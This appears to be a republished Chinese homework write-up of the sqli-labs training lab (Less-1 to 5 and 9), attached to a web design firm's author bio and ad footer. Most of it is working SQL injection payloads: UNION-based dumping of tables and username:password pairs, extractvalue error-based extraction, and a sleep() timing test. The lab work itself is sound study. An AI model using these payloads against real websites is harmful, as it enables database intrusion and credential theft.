sqli作业

发布时间:2026/9/15 1:24:52
sqli作业 sqli作业Less-1单引号闭合闭合方式加个单引号看报错http://192.168.40.129/sqli/Less-1/?id1报错里1 LIMIT 0,1说明源码是WHERE id$id用闭合就行。ORDER BY 试列数?id1 order by 4-- # 报 Unknown column 4列数3UNION 找回显位?id-1 union select 1,2,3--2 和 3 回显在 name 和 Password。然后直接梭哈爆库?id-1 union select 1,database(),3-- 爆表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users--Less-2整型闭合方式无整型不需要闭合id2-1返回第一个用户数据说明是数字型爆库?id-1 union select 1,database(),3-- 爆表?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1 union select 1,group_concat(username,0x3a,password),3 from users--Less-3单引号括号闭合方式)?id1源码是WHERE id($id)。爆库?id-1) union select 1,database(),3-- 爆表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-4双引号括号闭合方式)?id1源码是WHERE id($id)。爆库?id-1) union select 1,database(),3-- 爆表?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 爆列?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemadatabase()-- 爆数据?id-1) union select 1,group_concat(username,0x3a,password),3 from users--Less-5报错注入extractvalue闭合方式页面只显示You are in...不显示数据但会报 MySQL 错误。用 union 查出来也看不到改用报错注入。?id1 → 正常 ?id1-- → 正常闭合确认extractvalue 一把梭爆库?id1 and extractvalue(1,concat(0x7e,database()))--爆表?id1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())))-- 爆列?id1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase())))--extractvalue 一次最多回显 32 字符数据多的话用 substring 分段第1段?id1 and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,30)))-- 第2段?id1 and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),30,30)))-- ...以此类推Less-9时间盲注闭合方式这个更狠连报错都没有永远只显示You are in...只能靠 sleep 判断?id1 and sleep(3)-- → 页面卡3秒 → 有注入闭合为 确定闭合后上脚本爆破。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询